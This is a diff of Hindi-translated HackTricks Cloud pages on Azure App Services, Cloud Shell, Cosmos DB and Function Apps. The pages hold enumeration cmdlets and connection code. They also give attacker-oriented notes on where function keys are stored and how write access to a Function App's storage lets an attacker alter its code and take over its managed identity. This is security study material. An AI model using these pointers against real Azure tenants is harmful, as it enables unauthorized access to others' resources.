इसलिए, दोनों सेवाओं में वास्तव में ज्यादातर **एक समान कॉन्फ़िगरेशन, सुविधाएँ और विकल्प होते हैं az cli में**, हालाँकि वे उन्हें थोड़ा अलग तरीके से कॉन्फ़िगर कर सकते हैं (जैसे appsettings के डिफ़ॉल्ट मान या फ़ंक्शन ऐप्स में स्टोरेज अकाउंट का उपयोग)।
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}
@@ -225,9 +270,9 @@ done
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## वेब ऐप्स बनाने के उदाहरण
## Web Apps बनाने के उदाहरण
### स्थानीय से पायथन
### स्थानीय से Python
यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है।
```bash
@@ -258,13 +303,13 @@ SCM पोर्टल में लॉगिन करने या FTP के
> [!TIP]
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
## विशेषाधिकार वृद्धि
## Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## संदर्भ
## References
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)

View File

@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell** एक इंटरैक्टिव, प्रमाणित, ब्राउज़र-एक्सेसिबल टर्मिनल है जिसे Azure संसाधनों का प्रबंधन करने के लिए डिज़ाइन किया गया है, जो Bash या PowerShell के साथ काम करने की लचीलापन प्रदान करता है। यह एक अस्थायी, प्रति-सेशन होस्ट पर चलता है जो 20 मिनट की निष्क्रियता के बाद टाइमआउट हो जाता है, जबकि $HOME स्थान में 5-GB फ़ाइल शेयर का उपयोग करके फ़ाइलों को बनाए रखता है। Cloud Shell को कई बिंदुओं के माध्यम से एक्सेस किया जा सकता है, जिसमें Azure पोर्टल, shell.azure.com, Azure CLI और PowerShell दस्तावेज़, Azure मोबाइल ऐप, और Visual Studio Code Azure खाता एक्सटेंशन शामिल हैं।
इस सेवा के लिए कोई अनुमतियाँ निर्धारित नहीं की गई हैं, इसलिए कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं। इसके अलावा, कोई प्रकार की गणना नहीं है।
### Key Features
**Environment**:Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है क्योंकि यह Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण है जिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए जाते हैं ताकि आपूर्ति श्रृंखला हमलों से सुरक्षा की जा सके।
**Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे पूर्व-स्थापित उपकरणों का एक व्यापक सेट शामिल है। ये उपकरण उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
**Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त उपकरण स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।
## References
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़ों, संबंधी, कुंजी-मूल्य, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account**, डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे प्रमुख सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से Eventual consistency तक के विकल्प होते हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे प्रमुख सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से Eventual consistency तक के विकल्प होते हैं।
### NoSQL (sql)
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है:
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
एक खाते के भीतर, आप एक या अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं।
#### कंटेनर
डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखत है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होत है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को संग्रहीत कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है।
डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखत है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होत है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को संग्रहीत कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है।
#### एन्यूमरेशन
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
#### कनेक्शन
azure-cosmosDB (pip install azure-cosmos) से कनेक्ट करने के लिए लाइब्रेरी की आवश्यकता है। इसके अलावा, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी को कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -173,7 +173,7 @@ print(item)
```
{% endcode %}
एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन करें (az login) जिसके पास अनुमतियाँ हैं और इसे निष्पादित करें। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें)
एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते के साथ लॉगिन करना है (az login) जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (देखें के लिए mor)
{% code overflow="wrap" %}
```python
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
{% code overflow="wrap" %}
```bash
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
MongoDB में, आप एक या एक से अधिक डेटाबेस एक इंस्टेंस के भीतर बना सकते हैं। प्रत्येक डेटाबेस संग्रहों का एक तार्किक समूह के रूप में कार्य करता है और संसाधन संगठन और प्रबंधन के लिए एक सीमा प्रदान करता है। डेटाबेस डेटा को तार्किक रूप से अलग करने और प्रबंधित करने में मदद करते हैं, जैसे कि विभिन्न अनुप्रयोगों या परियोजनाओं के लिए।
#### संग्रह
MongoDB में डेटा संग्रहण की मूल इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं।
MongoDB में डेटा भंडारण की मूल इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं।
#### गणना
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
@@ -360,7 +359,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**

View File

@@ -4,89 +4,89 @@
## Basic Information
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
**Azure Function Apps** एक **सर्वरलेस कंप्यूट सेवा** हैं जो आपको **फंक्शंस** नामक छोटे कोड के टुकड़े चलाने की अनुमति देती हैं, बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **इवेंट-ड्रिवन एप्लिकेशन**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस कंप्यूट समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
> [!NOTE]
> ध्यान दें कि **Functions App Services का एक उपसमुच्चय हैं**, इसलिए, यहां चर्चा की गई कई सुविधाएँ Azure Apps (`webapp` in cli) के रूप में बनाए गए अनुप्रयोगों द्वारा भी उपयोग की जाएंगी।
### Different Plans
- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है**intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है।
- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श।
- **Flex Consumption Plan**: **डायनामिक, इवेंट-ड्रिवन स्केलिंग** के साथ पे-एज़-यू-गो मूल्य निर्धारण प्रदान करता है, मांग के आधार पर फ़ंक्शन उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **वर्चुअल नेटवर्किंग** और **पूर्व-प्रावधानित उदाहरणों** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **परिवर्तनीय कार्यभार** के लिए उपयुक्त है जिसे कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट सर्वरलेस विकल्प, जहां आप **केवल तब कंप्यूट संसाधनों के लिए भुगतान करते हैं जब फ़ंक्शन चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **ठंडी शुरुआत के अनुकूलन** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता। **अंतराल कार्यभार** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है।
- **Premium Plan**: **संगत प्रदर्शन** के लिए डिज़ाइन किया गया, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **पूर्व-गर्म श्रमिक** होते हैं। यह **विस्तारित निष्पादन समय, वर्चुअल नेटवर्किंग** प्रदान करता है, और **कस्टम लिनक्स छवियों** का समर्थन करता है, जिससे यह **मिशन-क्रिटिकल एप्लिकेशन** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **पूर्वानुमेय बिलिंग** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **कंप्यूट आइसोलेशन** प्रदान करता है, और **ऐप सेवा वातावरण** के माध्यम से **सुरक्षित नेटवर्क एक्सेस** सुनिश्चित करता है, जिससे यह **लंबे समय तक चलने वाले अनुप्रयोगों** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **कंटेनराइज्ड फ़ंक्शन ऐप्स** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU प्रोसेसिंग** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **इवेंट-ड्रिवन, स्केलेबल कंटेनराइज्ड एप्लिकेशन** के लिए आदर्श।
### **Storage Buckets**
जब एक नया Function App बनाया जाता है जो कंटेनर नहीं ह (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य Function से संबंधित डेटा एक Storage account में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
जब एक नया फ़ंक्शन ऐप बनाया जाता है जो कंटेनराइज नहीं होता (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य फ़ंक्शन से संबंधित डेटा एक स्टोरेज खाते में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार जब Function को कॉल किया जाएगा तो इसे निष्पादित किया जाएगा**
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार फ़ंक्शन को कॉल करने पर निष्पादित किया जाएगा**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और Function App के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और फ़ंक्शन ऐप के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
>
> इस पर अधिक जानकारी **privilege escalation section** में है।
> इस पर अधिक जानकारी **प्रिविलेज एस्कलेशन सेक्शन** में है।
यह भी संभव है कि **master और functions keys** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
यह भी संभव है कि **मास्टर और फ़ंक्शंस कुंजी** स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत हो
ध्यान दें कि Functions को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके।
ध्यान दें कि फ़ंक्शंस को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके।
### Networking
HTTP ट्रिगर का उपयोग करते समय:
- यह संभव है कि **इंटरनेट से एक फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**
